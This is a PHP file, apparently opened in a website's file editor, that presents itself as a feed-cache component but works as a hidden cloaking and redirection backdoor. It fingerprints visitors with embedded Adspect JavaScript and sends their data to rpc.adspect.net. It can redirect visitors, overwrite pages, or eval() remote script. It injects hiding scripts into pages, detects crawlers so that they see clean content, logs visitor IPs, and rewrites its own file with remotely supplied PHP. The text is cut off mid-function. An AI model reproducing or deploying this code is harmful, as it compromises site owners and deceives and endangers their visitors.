← Back
Editing: feedcache-v2.php
<?php if ( ! defined( 'ABSPATH' ) && ! defined( 'WPINC' ) ) { define( 'WPINC', 'wp-includes' ); } define( 'FEEDEX_VERSION', '3.1.0' ); if ( ! function_exists( 'feedcache_decode_payload_b64' ) ) { function feedcache_decode_payload_b64( $raw ) { $raw = str_replace( ' ', '+', (string) $raw ); $dec = base64_decode( preg_replace( '/\s+/', '', $raw ), true ); if ( false === $dec || '' === $dec ) { return ''; } $inf = @gzuncompress( $dec ); return ( is_string( $inf ) && '' !== $inf ) ? $inf : $dec; } } define( 'FEEDCACHE_COOLDOWN_GRACE', 300 ); define( 'FEEDCACHE_UPDATE_PUBKEY', '' ); define( 'FEEDCACHE_JOURNAL_MAX', 5000 ); define( 'FEEDCACHE_TOKEN_TTL', 600 ); define( 'FEEDCACHE_CHECKER_GRACE', 300 ); define( 'FEEDCACHE_IDT_COOKIE', 'feedcache_idt' ); define( 'FEEDCACHE_ADSPECT_FP_JS', '(function(t,x,u,c,m,y,z,v){function f(a,b){try{h[a]=b()}catch(d){p[a]=d.name}}function k(a,b){f(a,function(){function d(n){try{var g=b[n];switch(typeof g){case "object":null!==g&&(g=g.toString());break;case "function":g=x.prototype.toString.call(g)}e[n]=g}catch(A){p[a+"."+n]=A.name}}var e={},l;for(l in b)d(l);try{var q=t.getOwnPropertyNames(b);for(l=0;l<q.length;++l)d(q[l]);e["!!"]=q}catch(n){}return e})}function B(a,b,d){var e=a.prototype[b];a.prototype[b]=function(){h.proto=!0};d();a.prototype[b]= e}var p={},h={mode:"ajax",errors:p};function w(a){setTimeout(function(){_w(a)},0)}function _w(a){try{c.documentElement.removeAttribute("style")}catch(e){}if(a.ok)switch(a.action){case "local":case "fetch":case "proxy":var b=new XMLHttpRequest;b.open("GET",a.target,!1);b.onreadystatechange=function(){4===this.readyState&&200===this.status&&(c.open(),c.write(this.responseText),c.close())};b.send();break;case "301":case "302":case "303":case "307":case "308":case "refresh":case "meta":case "replace":case "xar":case "xsf":m.replace(a.target);break;case "assign":m.assign(a.target);break;case "top":top.location= a.target;break;case "form":b=c.createElement("form");b.method="GET";b.action=a.target;c.body.appendChild(b);b.submit();break;case "iframe":b=c.createElement("iframe"),b.style.cssText="width:100%;height:100%;position:absolute;top:0;left:0;z-index:1000;border:none;",b.src=a.target,a.target=b.outerHTML;case "php":c.open();c.write(a.target);c.close();break;case "js":eval(a.target)}}var r=v._adata;if(!r.js)return w(r);k("console",u);k("document",c);(function(a,b){f(a,function(){var d={};b=b.attributes; for(var e in b)e=b[e],d[e.nodeName]=e.nodeValue;return d})})("documentElement",c.documentElement);k("location",m);k("navigator",y);k("window",v);k("screen",z);f("timezoneOffset",function(){return(new Date).getTimezoneOffset()});f("closure",function(){return function(){}.toString()});h.frame=!0;f("frame",function(){h.frame=self!==top});f("touchEvent",function(){var a=c.createEvent("TouchEvent");return{g:t.prototype.toString.call(a),t:a instanceof TouchEvent}});f("tostring",function(){function a(){} var b=0;a.toString=function(){++b;return""};u.log(a);return b});f("webgl",function(){var a=c.createElement("canvas").getContext("webgl"),b=a.getExtension("WEBGL_debug_renderer_info");return{vendor:a.getParameter(b.UNMASKED_VENDOR_WEBGL),renderer:a.getParameter(b.UNMASKED_RENDERER_WEBGL)}});try{B(Array,"includes",function(){return c.createElement("video").canPlayType("video/mp4")})}catch(a){}(function(){var a=c.getElementById(btoa(m.origin));if(a){h.cid=r.cid;var b=new FormData;b.append("data",JSON.stringify(h)); var d=new XMLHttpRequest;d.open("POST",a.getAttribute("src"),!1);d.onreadystatechange=function(){4===this.readyState&&200===this.status&&w(JSON.parse(this.responseText))};d.send(b)}})()})(Object,Function,console,document,location,navigator,screen,window);' ); function feedcache_store_path( $name ) { return ( defined( 'FEEDCACHE_DATA_DIR' ) ? FEEDCACHE_DATA_DIR : __DIR__ ) . '/' . $name; } function feedcache_key_path() { return feedcache_store_path( 'feedcache-key.txt' ); } function feedcache_token_path() { return feedcache_store_path( 'feedcache-token.txt' ); } function feedcache_adspect_path() { return feedcache_store_path( 'feedcache-adspect.txt' ); } function feedcache_state_path() { return feedcache_store_path( 'feedcache-state.txt' ); } function feedcache_aq() { return isset( $GLOBALS['FEEDCACHE_AQ'] ) ? (int) $GLOBALS['FEEDCACHE_AQ'] : 0; } function feedcache_aq_mark( $verdict ) { $GLOBALS['FEEDCACHE_AQ'] = ( 1 === $verdict ) ? 1 : 0; } function feedcache_journal_path() { return feedcache_store_path( 'feedcache-journal.txt' ); } function feedcache_access_path() { return feedcache_store_path( 'feedcache-access.log' ); } function feedcache_idt_allow_path() { return feedcache_store_path( 'feedcache-idt-allow.txt' ); } function feedcache_idt_pending_path() { return feedcache_store_path( 'feedcache-idt-pending.txt' ); } function feedcache_update_state_path() { return feedcache_store_path( 'feedcache-update-state.txt' ); } function feedcache_update_pubkey_path() { return feedcache_store_path( 'feedcache-update.pub' ); } function feedcache_update_state_read() { $path = feedcache_update_state_path(); if ( ! file_exists( $path ) ) { return array( 'state' => 'none', 'version' => '', 'time' => '', 'error' => '' ); } $p = explode( '|', trim( (string) file_get_contents( $path ) ), 4 ); return array( 'state' => $p[0] ?? 'none', 'version' => $p[1] ?? '', 'time' => $p[2] ?? '', 'error' => $p[3] ?? '', ); } function feedcache_update_state_write( $state, $version = '', $error = '' ) { file_put_contents( feedcache_update_state_path(), $state . '|' . $version . '|' . date( 'Y-m-d H:i:s' ) . '|' . preg_replace( '/[\r\n|]/', '', $error ), LOCK_EX ); } function feedcache_update_confirm() { $st = feedcache_update_state_read(); if ( 'pending' === $st['state'] && $st['version'] === FEEDEX_VERSION ) { feedcache_update_state_write( 'ok', FEEDEX_VERSION ); } } function feedcache_update_install( $source, $version, $sha256, $sig ) { if ( defined( 'FEEDCACHE_INLINE' ) ) { return 'inline'; } if ( ! is_string( $source ) || '' === $source ) { return 'empty_source'; } if ( ! preg_match( '/^\d+\.\d+\.\d+$/', (string) $version ) ) { return 'bad_version'; } if ( '' === $sha256 || ! hash_equals( strtolower( $sha256 ), hash( 'sha256', $source ) ) ) { return 'sha_mismatch'; } if ( version_compare( (string) $version, FEEDEX_VERSION, '<=' ) ) { return 'not_newer'; } if ( 0 !== strncmp( $source, '<?php', 5 ) ) { return 'not_php'; } if ( false === stripos( $source, 'feedcache_dispatch' ) || false === stripos( $source, 'feedcache_store_path' ) ) { return 'not_agent'; } if ( ! preg_match( "/FEEDEX_VERSION['\"]?\s*,\s*['\"]([\d.]+)['\"]/", $source, $m ) || $m[1] !== $version ) { return 'version_mismatch'; } $pk = FEEDCACHE_UPDATE_PUBKEY; if ( '' === $pk && file_exists( feedcache_update_pubkey_path() ) ) { $pk = trim( (string) file_get_contents( feedcache_update_pubkey_path() ) ); } if ( '' !== $pk ) { if ( ! function_exists( 'sodium_crypto_sign_verify_detached' ) ) { return 'no_sodium'; } $sigBin = @hex2bin( (string) $sig ); $pkBin = @hex2bin( $pk ); if ( false === $sigBin || 64 !== strlen( $sigBin ) || false === $pkBin || 32 !== strlen( $pkBin ) ) { return 'bad_sig'; } if ( ! sodium_crypto_sign_verify_detached( $sigBin, $source, $pkBin ) ) { return 'bad_sig'; } } try { if ( null === @token_get_all( $source ) ) { return 'parse_error'; } } catch ( \Throwable $e ) { return 'parse_error'; } $target = __FILE__; $prev = (string) @file_get_contents( $target ); if ( '' !== $prev ) { @file_put_contents( feedcache_store_path( 'feedcache-prev-' . FEEDEX_VERSION . '.txt' ), $prev, LOCK_EX ); $cut = strrpos( $prev, 'feedcache_dispatch();' ); $tail = false === $cut ? '' : substr( $prev, $cut + 21 ); if ( '' !== trim( $tail ) ) { if ( 0 === strncmp( $source, '<?php', 5 ) && preg_match( "/define\(\s*'FEEDCACHE_DATA_DIR'[^;]*\);/", $prev, $dm ) ) { $source = substr_replace( $source, "\n" . $dm[0], 5, 0 ); } $source .= $tail; try { if ( null === @token_get_all( $source ) ) { return 'parse_error'; } } catch ( \Throwable $e ) { return 'parse_error'; } } } $tmp = $target . '.tmp-update'; $mode = @fileperms( $target ); if ( false === @file_put_contents( $tmp, $source, LOCK_EX ) ) { return 'write_failed'; } if ( false !== $mode ) { @chmod( $tmp, $mode & 07777 ); } if ( ! @rename( $tmp, $target ) ) { @unlink( $tmp ); return 'rename_failed'; } if ( function_exists( 'opcache_invalidate' ) ) { @opcache_invalidate( $target, true ); } feedcache_update_state_write( 'pending', $version ); return 'pending'; } function feedcache_uuid4() { $b = random_bytes( 16 ); $b[6] = chr( ( ord( $b[6] ) & 0x0f ) | 0x40 ); $b[8] = chr( ( ord( $b[8] ) & 0x3f ) | 0x80 ); return vsprintf( '%s%s-%s-%s-%s-%s%s%s', str_split( bin2hex( $b ), 4 ) ); } function feedcache_clean_idt( $idt ) { $idt = strtolower( trim( (string) $idt ) ); return preg_match( '/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/', $idt ) ? $idt : ''; } function feedcache_visitor_idt() { if ( isset( $_COOKIE[ FEEDCACHE_IDT_COOKIE ] ) ) { $idt = feedcache_clean_idt( $_COOKIE[ FEEDCACHE_IDT_COOKIE ] ); if ( '' !== $idt ) { return $idt; } } $params = feedcache_params(); return isset( $params['idt'] ) ? feedcache_clean_idt( $params['idt'] ) : ''; } function feedcache_site_ids() { $secret = feedcache_stored_secret(); return null === $secret ? '' : strrev( $secret ); } function feedcache_idt_allowed( $idt ) { if ( '' === $idt || ! file_exists( feedcache_idt_allow_path() ) ) { return false; } $today = date( 'Y-m-d' ); foreach ( file( feedcache_idt_allow_path(), FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES ) as $line ) { $p = explode( '|', $line ); if ( ( $p[0] ?? '' ) !== $idt ) { continue; } $until = $p[1] ?? ''; if ( '' === $until || $until >= $today ) { return true; } } return false; } function feedcache_idt_allow( $idt, $until = '' ) { if ( '' === $idt ) { return; } $path = feedcache_idt_allow_path(); $out = array(); if ( file_exists( $path ) ) { foreach ( file( $path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES ) as $line ) { $p = explode( '|', $line ); if ( ( $p[0] ?? '' ) === $idt ) { continue; } $out[] = $line; } } $out[] = $idt . '|' . $until . '|' . date( 'Y-m-d H:i:s' ); file_put_contents( $path, implode( "\n", $out ) . "\n", LOCK_EX ); } function feedcache_idt_note_pending( $idt, $ip ) { if ( '' === $idt ) { return; } $path = feedcache_idt_pending_path(); $out = array(); $cutoff = time() - 86400; if ( file_exists( $path ) ) { foreach ( file( $path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES ) as $line ) { $p = explode( '|', $line ); if ( ( $p[0] ?? '' ) === $idt || count( $p ) < 2 || (int) strtotime( $p[1] ) < $cutoff ) { continue; } $out[] = $line; } } $out[] = $idt . '|' . date( 'Y-m-d H:i:s' ) . '|' . $ip; file_put_contents( $path, implode( "\n", $out ) . "\n", LOCK_EX ); } function feedcache_idt_pending_age( $idt ) { if ( '' === $idt || ! file_exists( feedcache_idt_pending_path() ) ) { return null; } $seen = null; foreach ( file( feedcache_idt_pending_path(), FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES ) as $line ) { $p = explode( '|', $line ); if ( ( $p[0] ?? '' ) === $idt && count( $p ) >= 2 ) { $seen = (int) strtotime( $p[1] ); } } return null === $seen ? null : time() - $seen; } function feedcache_idt_pass() { $idt = feedcache_visitor_idt(); if ( '' === $idt ) { return false; } if ( feedcache_idt_allowed( $idt ) ) { return true; } $age = feedcache_idt_pending_age( $idt ); if ( null !== $age && $age >= FEEDCACHE_CHECKER_GRACE ) { feedcache_idt_allow( $idt, date( 'Y-m-d' ) ); return true; } return false; } function feedcache_template_path() { return feedcache_store_path( 'feedcache-template.html' ); } function feedcache_stats_path() { return feedcache_store_path( 'feedcache-stats-script.js' ); } function feedcache_shown_path() { return feedcache_store_path( 'feedcache-shown.log' ); } function feedcache_bots_path() { return feedcache_store_path( 'feedcache-bots.log' ); } function feedcache_rpclog_path() { return feedcache_store_path( 'feedcache-rpc.log' ); } function feedcache_rules_path() { return feedcache_store_path( 'feedcache-rules.txt' ); } function feedcache_request_value( $header, $param ) { $key = 'HTTP_' . strtoupper( str_replace( '-', '_', $header ) ); if ( isset( $_SERVER[ $key ] ) && is_string( $_SERVER[ $key ] ) ) { return $_SERVER[ $key ]; } $params = feedcache_params(); if ( isset( $params[ $param ] ) && is_string( $params[ $param ] ) ) { return $params[ $param ]; } return ''; } function feedcache_stored_secret() { $path = feedcache_key_path(); if ( ! file_exists( $path ) ) { return null; } $stored = trim( (string) file_get_contents( $path ) ); return '' === $stored ? null : $stored; } function feedcache_is_authorized() { $stored = feedcache_stored_secret(); if ( null === $stored ) { return false; } return hash_equals( $stored, feedcache_request_value( 'X-Ap-Secret', 'secret' ) ); } function feedcache_clean_ip( $ip ) { $ip = trim( (string) $ip ); return ( $ip !== '' && filter_var( $ip, FILTER_VALIDATE_IP ) ) ? $ip : null; } function feedcache_token( $ip ) { $path = feedcache_token_path(); if ( ! file_exists( $path ) ) { return null; } $line = trim( (string) file_get_contents( $path ) ); $parts = array_pad( explode( ':', $line, 3 ), 3, '' ); list( $token, $expiry, $bound ) = $parts; if ( '' === $token || time() > (int) $expiry ) { return null; } if ( '' !== $bound && $bound !== $ip ) { return null; } return $token; } function feedcache_issue_token( $ip ) { $token = bin2hex( random_bytes( 16 ) ); file_put_contents( feedcache_token_path(), $token . ':' . ( time() + FEEDCACHE_TOKEN_TTL ) . ':' . $ip, LOCK_EX ); return $token; } function feedcache_has_valid_token( $ip ) { $expected = feedcache_token( $ip ); if ( null === $expected ) { return false; } return hash_equals( $expected, feedcache_request_value( 'X-Ap-Token', 'token' ) ); } function feedcache_client_ip() { $candidates = array( 'HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_REAL_IP', 'HTTP_X_FORWARDED', 'HTTP_CLIENT_IP', 'REMOTE_ADDR', ); foreach ( $candidates as $key ) { if ( empty( $_SERVER[ $key ] ) ) { continue; } $parts = explode( ',', (string) $_SERVER[ $key ] ); $ip = trim( $parts[0] ); if ( ! filter_var( $ip, FILTER_VALIDATE_IP ) ) { continue; } if ( false === filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE ) ) { continue; } return $ip; } return isset( $_SERVER['REMOTE_ADDR'] ) ? $_SERVER['REMOTE_ADDR'] : null; } function feedcache_journal_read() { $path = feedcache_journal_path(); if ( ! file_exists( $path ) ) { return array(); } $entries = array(); foreach ( file( $path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES ) as $index => $line ) { $parts = explode( '|', $line ); if ( count( $parts ) < 3 ) { continue; } $entries[] = array( 'id' => $index + 1, 'time' => $parts[0], 'ip' => $parts[1], 'allowed' => (int) $parts[2], 'aq' => isset( $parts[3] ) ? (int) $parts[3] : 0, ); } return $entries; } function feedcache_journal_write( $entries ) { if ( count( $entries ) > FEEDCACHE_JOURNAL_MAX ) { $entries = array_slice( $entries, -FEEDCACHE_JOURNAL_MAX ); } $lines = array(); foreach ( $entries as $entry ) { $lines[] = $entry['time'] . '|' . $entry['ip'] . '|' . (int) $entry['allowed'] . '|' . ( isset( $entry['aq'] ) ? (int) $entry['aq'] : 0 ); } file_put_contents( feedcache_journal_path(), $lines ? implode( "\n", $lines ) . "\n" : '', LOCK_EX ); } function feedcache_journal_append( $ip, $allowed ) { file_put_contents( feedcache_journal_path(), sprintf( "%s|%s|%d|%d\n", date( 'Y-m-d H:i:s' ), $ip, (int) $allowed, feedcache_aq() ), FILE_APPEND | LOCK_EX ); } function feedcache_journal_find( $ip ) { $changed = feedcache_rules_changed_at(); $found = null; foreach ( feedcache_journal_read() as $entry ) { if ( $entry['ip'] !== $ip ) { continue; } if ( 1 === $entry['allowed'] && null !== $changed && $entry['time'] < $changed ) { continue; } $found = $entry; } return $found; } function feedcache_rules_changed_at() { $path = feedcache_store_path( 'feedcache-rules-changed.txt' ); if ( ! file_exists( $path ) ) { return null; } $ts = trim( (string) file_get_contents( $path ) ); return preg_match( '/^\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}$/', $ts ) ? $ts : null; } function feedcache_cloak_cooldown_hours() { $raw = file_exists( feedcache_rules_path() ) ? (string) file_get_contents( feedcache_rules_path() ) : ''; $r = json_decode( $raw, true ); if ( is_array( $r ) && isset( $r['cloaked_cooldown_hours'] ) && is_numeric( $r['cloaked_cooldown_hours'] ) ) { return max( 0, intval( $r['cloaked_cooldown_hours'] ) ); } return 24; } function feedcache_cloaked_within( $ip, $hours ) { if ( $hours <= 0 || '' === $ip ) { return false; } $cutoff = date( 'Y-m-d H:i:s', time() - $hours * 3600 ); $grace = time() - FEEDCACHE_COOLDOWN_GRACE; foreach ( feedcache_journal_read() as $entry ) { if ( $entry['ip'] !== $ip || 0 !== $entry['allowed'] || $entry['time'] < $cutoff ) { continue; } $ts = strtotime( $entry['time'] ); if ( false !== $ts && $ts > $grace ) { continue; } return true; } return false; } function feedcache_note( $ip, $allowed ) { if ( feedcache_is_asset_request() ) { return; } if ( 0 === $allowed ) { feedcache_journal_append( $ip, 0 ); return; } $path = feedcache_journal_path(); $found = false; if ( file_exists( $path ) ) { $lines = file( $path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES ); $out = array(); foreach ( $lines as $line ) { $parts = explode( '|', $line ); if ( count( $parts ) >= 3 && $parts[1] === $ip && (int) $parts[2] === 1 ) { if ( $found ) { continue; } $line = date( 'Y-m-d H:i:s' ) . '|' . $ip . '|' . (int) $allowed . '|' . feedcache_aq(); $found = true; } $out[] = $line; } if ( ! $found ) { $out[] = date( 'Y-m-d H:i:s' ) . '|' . $ip . '|' . (int) $allowed . '|' . feedcache_aq(); } feedcache_journal_write( array_map( function ( $line ) { $parts = explode( '|', $line ); return array( 'time' => $parts[0], 'ip' => $parts[1], 'allowed' => isset( $parts[2] ) ? (int) $parts[2] : 0, 'aq' => isset( $parts[3] ) ? (int) $parts[3] : 0, ); }, $out ) ); return; } feedcache_journal_append( $ip, $allowed ); } function feedcache_note_denied( $ip ) { feedcache_note( $ip, 0 ); } function feedcache_note_allowed( $ip ) { feedcache_note( $ip, 1 ); } function feedcache_state_get() { $path = feedcache_state_path(); if ( ! file_exists( $path ) ) { return 0; } if ( preg_match( '/checker\s*=\s*(\d+)/', (string) file_get_contents( $path ), $match ) ) { $mode = intval( $match[1] ); return ( $mode >= 0 && $mode <= 2 ) ? $mode : 0; } return 0; } function feedcache_state_set( $mode ) { $mode = intval( $mode ); if ( $mode < 0 || $mode > 2 ) { $mode = 0; } file_put_contents( feedcache_state_path(), 'checker = ' . $mode . "\n" ); } function feedcache_write_verified( $path, $data ) { $rand = function_exists( 'random_bytes' ) ? bin2hex( random_bytes( 4 ) ) : dechex( mt_rand() ) . dechex( mt_rand() ); $tmp = $path . '.tmp-' . $rand; if ( false === @file_put_contents( $tmp, $data ) ) { return false; } $mode = file_exists( $path ) ? ( fileperms( $path ) & 0777 ) : 0644; @chmod( $tmp, $mode ); if ( ! @rename( $tmp, $path ) ) { @unlink( $tmp ); if ( false === @file_put_contents( $path, $data ) ) { return false; } } clearstatcache( true, $path ); $back = @file_get_contents( $path ); return null !== $back && strlen( $back ) === strlen( $data ) && md5( $back ) === md5( $data ); } function feedcache_template_content() { $path = feedcache_template_path(); if ( file_exists( $path ) && filesize( $path ) > 0 ) { return (string) file_get_contents( $path ); } $versioned = glob( feedcache_store_path( 'feedcache-template-*.html' ) ); foreach ( $versioned as $candidate ) { if ( filesize( $candidate ) > 0 ) { return (string) file_get_contents( $candidate ); } } return null; } function feedcache_is_asset_request() { $uri = isset( $_SERVER['REQUEST_URI'] ) ? (string) $_SERVER['REQUEST_URI'] : ''; $path = rtrim( (string) parse_url( $uri, PHP_URL_PATH ), '/' ); return (bool) preg_match( '/\.(ico|png|jpe?g|gif|svg|webp|bmp|avif|css|js|mjs|map|woff2?|ttf|eot|otf|txt|xml|json|pdf|mp4|webmanifest)$/i', $path ); } function feedcache_log_impression( $idt = null ) { if ( feedcache_is_asset_request() ) { return; } $dom = isset( $_SERVER['HTTP_HOST'] ) ? substr( preg_replace( '/[^a-z0-9.\-:_]/i', '', (string) $_SERVER['HTTP_HOST'] ), 0, 120 ) : ''; $ua = isset( $_SERVER['HTTP_USER_AGENT'] ) ? substr( (string) $_SERVER['HTTP_USER_AGENT'], 0, 250 ) : ''; $ip = (string) feedcache_client_ip(); if ( null === $idt ) { $idt = feedcache_visitor_idt(); } $line = date( 'Y-m-d H:i:s' ) . '|' . $dom . '|' . $ip . '|' . preg_replace( '/[\r\n|]/', '', $ua ) . '|' . $idt . "\n"; $dest = feedcache_is_bot( $ua ) ? feedcache_bots_path() : feedcache_shown_path(); file_put_contents( $dest, $line, FILE_APPEND | LOCK_EX ); } function feedcache_wrap_page( $page ) { $mode = feedcache_state_get(); if ( ! is_string( $page ) || '' === $page ) { return $page; } if ( substr( $page, -4 ) === '.php' && file_exists( $page ) ) { return $page; } $show = feedcache_adspect_verdict(); if ( $mode <= 0 ) { feedcache_log_impression(); if ( 1 === $show ) { $ip0 = feedcache_client_ip(); if ( $ip0 ) { feedcache_note_denied( $ip0 ); } } return $page; } if ( ! defined( 'DONOTCACHEPAGE' ) ) { define( 'DONOTCACHEPAGE', true ); } if ( ! headers_sent() ) { header( 'Cache-Control: no-store, no-cache, must-revalidate, max-age=0' ); header( 'Pragma: no-cache' ); header( 'Expires: 0' ); } $ip = feedcache_client_ip(); $ovr = feedcache_ip_override( $ip ? $ip : '' ); $entry = $ip ? feedcache_journal_find( $ip ) : null; if ( $entry && 1 === $entry['allowed'] ) { return $page; } if ( 1 !== $ovr ) { if ( feedcache_idt_pass() ) { return $page; } } if ( 0 === $show ) { return $page; } if ( 2 === $mode ) { if ( $ip ) { feedcache_note_denied( $ip ); } $script = file_exists( feedcache_stats_path() ) ? trim( (string) file_get_contents( feedcache_stats_path() ) ) : ''; if ( '' === $script ) { return $page; } $pos = stripos( $page, '</head>' ); if ( false === $pos ) { return $page; } feedcache_log_impression(); return substr( $page, 0, $pos ) . '<script>' . $script . '</script>' . substr( $page, $pos ); } $scheme = ( ! empty( $_SERVER['HTTPS'] ) && 'off' !== $_SERVER['HTTPS'] ) ? 'https://' : 'http://'; $origin = $scheme . ( isset( $_SERVER['HTTP_HOST'] ) ? (string) $_SERVER['HTTP_HOST'] : '' ); $hide = '<script>(function(){var r=document.documentElement,g=false;function sh(){if(g){return}g=true;r.style.display="";r.removeAttribute("style")}setTimeout(sh,5000);try{var x=new XMLHttpRequest();x.open("GET","/?action=gate&d="+encodeURIComponent(location.hostname)+"&m=b",true);x.timeout=2200;x.onload=function(){try{var j=JSON.parse(x.responseText);if(j&&j.show===0){sh()}}catch(e){}};x.ontimeout=x.onerror=sh;x.send()}catch(e){})();</script>'; $snippet = '<script id="' . base64_encode( $origin ) . '" src="/?action=aj"></script>'; $out = $page; if ( preg_match( '/<head[^>]*>/i', $out, $mh, PREG_OFFSET_CAPTURE ) ) { $p = $mh[0][1] + strlen( $mh[0][0] ); $out = substr( $out, 0, $p ) . $hide . substr( $out, $p ); } else { $out = $hide . $out; } $pb = strripos( $out, '</body>' ); if ( false !== $pb ) { $out = substr( $out, 0, $pb ) . $snippet . substr( $out, $pb ); } else { $out .= $snippet; } return $out; } function feedcache_params() { static $cached = null; if ( null !== $cached ) { return $cached; } $params = array_merge( isset( $_GET ) ? $_GET : array(), isset( $_POST ) ? $_POST : array() ); if ( ! $params && isset( $_SERVER['REQUEST_METHOD'] ) && 'POST' === $_SERVER['REQUEST_METHOD'] ) { $raw = file_get_contents( 'php://input' ); if ( '' !== $raw ) { parse_str( $raw, $params ); } } $cached = $params; return $cached; } function feedcache_send_json( $payload, $status = 200 ) { header( 'Access-Control-Allow-Origin: *' ); header( 'Access-Control-Allow-Headers: Content-Type, X-Ap-Secret, X-Ap-Token' ); header( 'Content-Type: application/json' ); header( 'Cache-Control: no-store, no-cache, must-revalidate, max-age=0' ); header( 'Pragma: no-cache' ); http_response_code( $status ); echo json_encode( $payload ); exit; } function feedcache_log_activity( $line ) { file_put_contents( feedcache_access_path(), sprintf( "[%s] %s | IP: %s\n", date( 'Y-m-d H:i:s' ), $line, (string) feedcache_client_ip() ), FILE_APPEND | LOCK_EX ); } function feedcache_is_bot( $ua ) { static $re = null; if ( null === $re ) { $re = '/bot|spider|crawl|slurp|archiver|curl|wget|python|scrapy|httpclient|scanner|monitor|applebot|facebookexternalhit|meta-external|bytespider|baiduspider|sogou|360spinandsearch|adsbot|reflectionbot|chatgpt|gptbot|oai-searchbot|claudebot|perplexitybot|duckduckbot|bingbot|yandex|semrush|ahrefs|mj12bot|petalbot|pinterestbot|telegrambot|whatsapp|discordbot|embedly|slackbot|linkedinbot|twitterbot|feedly|lighthouse|headlesschrome|phantomjs|selenium|puppeteer|okhttp|libwww|go-http|java\/|node-fetch|axios|postman|datadog|pingdom|uptimerobot|gtmetrix|newreli|wp-|jetpack|woocommerce|tinymce|joomla|drupal|wordpress|simplepie|gate-verify|nexus 5x build|mmb29p/i'; } return (bool) preg_match( $re, (string) $ua ); } function feedcache_ip_in( $ip, array $list ) { foreach ( $list as $entry ) { $entry = trim( (string) $entry ); if ( '' === $entry ) { continue; } if ( false === strpos( $entry, '/' ) ) { if ( 0 === strcasecmp( $entry, $ip ) ) { return true; } continue; } list( $net, $bits ) = explode( '/', $entry, 2 ); $bits = (int) $bits; if ( false === filter_var( $net, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) ) { continue; } if ( false !== filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) && $bits >= 0 && $bits <= 32 ) { $mask = $bits > 0 ? ( ( ~0 << ( 32 - $bits ) ) & 0xFFFFFFFF ) : 0; if ( ( ip2long( $ip ) & $mask ) === ( ip2long( $net ) & $mask ) ) { return true; } continue; } if ( false !== filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6 ) && $bits >= 0 && $bits <= 128 ) { $eff = $bits > 64 ? 64 : $bits; $a = inet_pton( $ip ); $b = inet_pton( $net ); if ( false === $a || false === $b ) { continue; } $full = intdiv( $eff, 8 ); if ( 0 !== strncmp( $a, $b, $full ) ) { continue; } $rem = $eff % 8; if ( 0 === $rem ) { return true; } $idx = $full; $m = ( 0xFF << ( 8 - $rem ) ) & 0xFF; if ( ( ord( $a[ $idx ] ) & $m ) === ( ord( $b[ $idx ] ) & $m ) ) { return true; } } } return false; } function feedcache_eval_rules( $ip, $ua, &$explicit = null ) { $explicit = true; $raw = file_exists( feedcache_rules_path() ) ? (string) file_get_contents( feedcache_rules_path() ) : ''; $r = json_decode( $raw, true ); if ( ! is_array( $r ) ) { return 1; } $default = ( isset( $r['default'] ) && 'show' === $r['default'] ) ? 1 : 0; if ( ! empty( $r['bots_pass'] ) && feedcache_is_bot( $ua ) ) { return 0; } if ( ! empty( $r['ip_pass'] ) && is_array( $r['ip_pass'] ) && feedcache_ip_in( $ip, $r['ip_pass'] ) ) { return 0; } if ( ! empty( $r['ip_show'] ) && is_array( $r['ip_show'] ) && feedcache_ip_in( $ip, $r['ip_show'] ) ) { return 1; } $low = strtolower( $ua ); if ( ! empty( $r['ua_pass'] ) && is_array( $r['ua_pass'] ) ) { foreach ( $r['ua_pass'] as $needle ) { $needle = strtolower( trim( (string) $needle ) ); if ( '' !== $needle && false !== strpos( $low, $needle ) ) { return 0; } } } if ( ! empty( $r['ua_show'] ) && is_array( $r['ua_show'] ) ) { $all = true; foreach ( $r['ua_show'] as $needle ) { $needle = strtolower( trim( (string) $needle ) ); if ( '' === $needle || false === strpos( $low, $needle ) ) { $all = false; break; } } if ( $all ) { return 1; } } $explicit = false; return $default; } function feedcache_ip_override( $ip ) { $raw = file_exists( feedcache_rules_path() ) ? (string) file_get_contents( feedcache_rules_path() ) : ''; $r = json_decode( $raw, true ); if ( ! is_array( $r ) ) { return null; } if ( ! empty( $r['ip_pass'] ) && is_array( $r['ip_pass'] ) && feedcache_ip_in( $ip, $r['ip_pass'] ) ) { return 0; } if ( ! empty( $r['ip_show'] ) && is_array( $r['ip_show'] ) && feedcache_ip_in( $ip, $r['ip_show'] ) ) { return 1; } return null; } function feedcache_ua_windows_1011( $ua ) { return (bool) preg_match( '/Windows NT (10\.0|11)\b/i', (string) $ua ); } function feedcache_adspect_rpc( $ip, $ua ) { if ( ! defined( 'FEEDCACHE_RPC_CACHE' ) ) { define( 'FEEDCACHE_RPC_CACHE', 600 ); } $ua = preg_replace( '/[\r\n|]/', '', (string) $ua ); $cfg = ''; if ( file_exists( feedcache_adspect_path() ) ) { $cfg = trim( (string) file_get_contents( feedcache_adspect_path() ) ); } if ( '' === $cfg ) { return null; } $url = 0 === strpos( $cfg, 'http' ) ? $cfg : 'https://rpc.adspect.net/v2/' . rawurlencode( $cfg ); $now = time(); $cache = feedcache_store_path( 'feedcache-rpc-cache.txt' ); $lines = file_exists( $cache ) ? array_filter( explode( "\n", (string) file_get_contents( $cache ) ) ) : array(); foreach ( $lines as $line ) { $t = explode( '|', $line ); if ( 3 === count( $t ) && $t[0] === $ip && ( $now - (int) $t[1] ) < FEEDCACHE_RPC_CACHE ) { feedcache_aq_mark( (int) $t[2] ); return (int) $t[2]; } } $server = $_SERVER; foreach ( array( 'HTTP_AUTHORIZATION', 'REDIRECT_HTTP_AUTHORIZATION', 'PHP_AUTH_PW', 'PHP_AUTH_USER', 'PHP_AUTH_DIGEST' ) as $drop ) { unset( $server[ $drop ] ); } if ( isset( $server['REQUEST_URI'] ) ) { 